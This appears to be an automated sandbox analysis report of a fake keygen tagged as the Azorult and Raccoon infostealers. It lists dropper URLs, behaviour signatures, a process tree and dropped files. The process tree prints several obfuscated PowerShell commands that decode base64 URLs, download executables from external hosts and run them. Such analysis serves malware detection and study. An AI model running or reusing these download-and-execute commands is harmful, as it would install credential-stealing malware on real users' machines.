azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
22s
max time network
157s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (124) — копия.exe

Score

10^/10

azorult raccoon infostealer stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

7 2280 powershell.exe
10 2280 powershell.exe
12 3520 powershell.exe
14 3520 powershell.exe
15 4232 powershell.exe
17 4232 powershell.exe
Downloads MZ/PE file

flow	pid	process
7	2280	powershell.exe
10	2280	powershell.exe
12	3520	powershell.exe
14	3520	powershell.exe
15	4232	powershell.exe
17	4232	powershell.exe

Executes dropped EXE 13 IoCs

Processes:

Keygen.exerlk.exedxu.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exerlk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezmu.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezmu.exeFVjhgtresfdbv.exe

pid	process
1616	Keygen.exe
4836	rlk.exe
4880	dxu.exe
4988	FVjhgtresfdbv.exe
5004	NHtrdsaghfDF.exe
5060	rlk.exe
5076	FVjhgtresfdbv.exe
4128	NHtrdsaghfDF.exe
1404	zmu.exe
4632	FVjhgtresfdbv.exe
4660	NHtrdsaghfDF.exe
4440	zmu.exe
3844	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

rlk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezmu.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4836 set thread context of 5060	4836	rlk.exe	rlk.exe
PID 4988 set thread context of 5076	4988	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5004 set thread context of 4128	5004	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 1404 set thread context of 4440	1404	zmu.exe	zmu.exe
PID 4632 set thread context of 3844	4632	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4660 set thread context of 4480	4660	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2168 timeout.exe
3368 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	process
2168	timeout.exe
3368	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4052	powershell.exe
2280	powershell.exe
3520	powershell.exe
1264	powershell.exe
4052	powershell.exe
2280	powershell.exe
3520	powershell.exe
1264	powershell.exe
4052	powershell.exe
4052	powershell.exe
2280	powershell.exe
2280	powershell.exe
3520	powershell.exe
3520	powershell.exe
1264	powershell.exe
1264	powershell.exe
4232	powershell.exe
4232	powershell.exe
4444	powershell.exe
4444	powershell.exe
4232	powershell.exe
4444	powershell.exe
4232	powershell.exe
4444	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

rlk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezmu.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4836 rlk.exe
4988 FVjhgtresfdbv.exe
5004 NHtrdsaghfDF.exe
1404 zmu.exe
4632 FVjhgtresfdbv.exe
4660 NHtrdsaghfDF.exe

pid	process
4836	rlk.exe
4988	FVjhgtresfdbv.exe
5004	NHtrdsaghfDF.exe
1404	zmu.exe
4632	FVjhgtresfdbv.exe
4660	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4444	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exerlk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exezmu.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1616 Keygen.exe
4836 rlk.exe
4988 FVjhgtresfdbv.exe
5004 NHtrdsaghfDF.exe
1404 zmu.exe
4632 FVjhgtresfdbv.exe
4660 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (124) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exerlk.exe

description	pid	process	target process
PID 3148 wrote to memory of 3040	3148	Keygen — копия (124) — копия.exe	cmd.exe
PID 3148 wrote to memory of 3040	3148	Keygen — копия (124) — копия.exe	cmd.exe
PID 3148 wrote to memory of 3040	3148	Keygen — копия (124) — копия.exe	cmd.exe
PID 3040 wrote to memory of 1616	3040	cmd.exe	Keygen.exe
PID 3040 wrote to memory of 1616	3040	cmd.exe	Keygen.exe
PID 3040 wrote to memory of 1616	3040	cmd.exe	Keygen.exe
PID 3040 wrote to memory of 1060	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 1060	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 1060	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 2148	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 2148	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 2148	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 2168	3040	cmd.exe	timeout.exe
PID 3040 wrote to memory of 2168	3040	cmd.exe	timeout.exe
PID 3040 wrote to memory of 2168	3040	cmd.exe	timeout.exe
PID 2148 wrote to memory of 4052	2148	mshta.exe	powershell.exe
PID 2148 wrote to memory of 4052	2148	mshta.exe	powershell.exe
PID 2148 wrote to memory of 4052	2148	mshta.exe	powershell.exe
PID 1060 wrote to memory of 2280	1060	mshta.exe	powershell.exe
PID 1060 wrote to memory of 2280	1060	mshta.exe	powershell.exe
PID 1060 wrote to memory of 2280	1060	mshta.exe	powershell.exe
PID 3040 wrote to memory of 2328	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 2328	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 2328	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 3736	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 3736	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 3736	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 3368	3040	cmd.exe	timeout.exe
PID 3040 wrote to memory of 3368	3040	cmd.exe	timeout.exe
PID 3040 wrote to memory of 3368	3040	cmd.exe	timeout.exe
PID 2328 wrote to memory of 3520	2328	mshta.exe	powershell.exe
PID 2328 wrote to memory of 3520	2328	mshta.exe	powershell.exe
PID 2328 wrote to memory of 3520	2328	mshta.exe	powershell.exe
PID 3736 wrote to memory of 1264	3736	mshta.exe	powershell.exe
PID 3736 wrote to memory of 1264	3736	mshta.exe	powershell.exe
PID 3736 wrote to memory of 1264	3736	mshta.exe	powershell.exe
PID 3040 wrote to memory of 4164	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 4164	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 4164	3040	cmd.exe	mshta.exe
PID 4164 wrote to memory of 4232	4164	mshta.exe	powershell.exe
PID 4164 wrote to memory of 4232	4164	mshta.exe	powershell.exe
PID 4164 wrote to memory of 4232	4164	mshta.exe	powershell.exe
PID 3040 wrote to memory of 4316	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 4316	3040	cmd.exe	mshta.exe
PID 3040 wrote to memory of 4316	3040	cmd.exe	mshta.exe
PID 4316 wrote to memory of 4444	4316	mshta.exe	powershell.exe
PID 4316 wrote to memory of 4444	4316	mshta.exe	powershell.exe
PID 4316 wrote to memory of 4444	4316	mshta.exe	powershell.exe
PID 2280 wrote to memory of 4836	2280	powershell.exe	rlk.exe
PID 2280 wrote to memory of 4836	2280	powershell.exe	rlk.exe
PID 2280 wrote to memory of 4836	2280	powershell.exe	rlk.exe
PID 3520 wrote to memory of 4880	3520	powershell.exe	dxu.exe
PID 3520 wrote to memory of 4880	3520	powershell.exe	dxu.exe
PID 3520 wrote to memory of 4880	3520	powershell.exe	dxu.exe
PID 4836 wrote to memory of 4988	4836	rlk.exe	FVjhgtresfdbv.exe
PID 4836 wrote to memory of 4988	4836	rlk.exe	FVjhgtresfdbv.exe
PID 4836 wrote to memory of 4988	4836	rlk.exe	FVjhgtresfdbv.exe
PID 4836 wrote to memory of 5004	4836	rlk.exe	NHtrdsaghfDF.exe
PID 4836 wrote to memory of 5004	4836	rlk.exe	NHtrdsaghfDF.exe
PID 4836 wrote to memory of 5004	4836	rlk.exe	NHtrdsaghfDF.exe
PID 4836 wrote to memory of 5060	4836	rlk.exe	rlk.exe
PID 4836 wrote to memory of 5060	4836	rlk.exe	rlk.exe
PID 4836 wrote to memory of 5060	4836	rlk.exe	rlk.exe
PID 4836 wrote to memory of 5060	4836	rlk.exe	rlk.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (124) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (124) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3148

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\389A.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (124) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3040

C:\Users\Admin\AppData\Local\Temp\389A.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1616

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\389A.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2280

C:\Users\Public\rlk.exe
"C:\Users\Public\rlk.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4836

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4988

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:5076

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5004

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4128

C:\Users\Public\rlk.exe
"C:\Users\Public\rlk.exe"
6⤵
- Executes dropped EXE
PID:5060

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\389A.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4052

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2168

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\389A.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2328

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3520

C:\Users\Public\dxu.exe
"C:\Users\Public\dxu.exe"
5⤵
- Executes dropped EXE
PID:4880

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\389A.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1264

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3368

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\389A.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4164

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4232

C:\Users\Public\zmu.exe
"C:\Users\Public\zmu.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1404

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4632

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:3844

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4660

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
PID:4480

C:\Users\Public\zmu.exe
"C:\Users\Public\zmu.exe"
6⤵
- Executes dropped EXE
PID:4440

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\389A.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4316

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4444

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\389A.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

